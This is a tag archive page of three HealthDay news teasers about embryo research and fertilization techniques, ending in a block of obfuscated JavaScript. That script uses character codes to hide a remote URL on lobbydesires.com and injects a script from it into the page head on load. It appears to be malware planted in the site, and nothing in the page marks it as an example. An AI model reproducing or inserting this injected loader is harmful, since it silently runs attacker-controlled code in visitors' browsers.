Tag Archives: Embryo

FDA Explores ‘3-Person’ Embryo Fertilization

FDA Explores '3-Person' Embryo Fertilization

By Dennis ThompsonHealthDay Reporter TUESDAY, Feb. 25, 2014 (HealthDay News) — U.S. Food and Drug Administration hearings opened Tuesday on a controversial fertilization technique that uses the DNA from three people — two women and one man — with the goal of preventing inherited genetic diseases. The technique involves the …

Read More »

Researchers Create Artificial Mouse ‘Embryo’

News Picture: Researchers Create Artificial Mouse

THURSDAY, March 2, 2017 (HealthDay News) — British scientists report that they’ve created a kind of artificial mouse embryo using stem cells, which can be coaxed to create various parts of the body. Researchers from the University of Cambridge explained that in regular reproduction, when a mammal’s egg has been …

Read More »

Embryo Selection May Help Prevent Some Inherited Disorders

Embryo Selection May Help Prevent Some Inherited Disorders

By Steven ReinbergHealthDay Reporter MONDAY, Feb. 3, 2014 (HealthDay News) — When a 27-year-old woman wanted to have a baby using in vitro fertilization, there was one major problem — she was a carrier of Gerstmann-Straussler-Sheinker syndrome. This rare, degenerative neurological condition is usually diagnosed in mid-life and is always …

Read More »
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();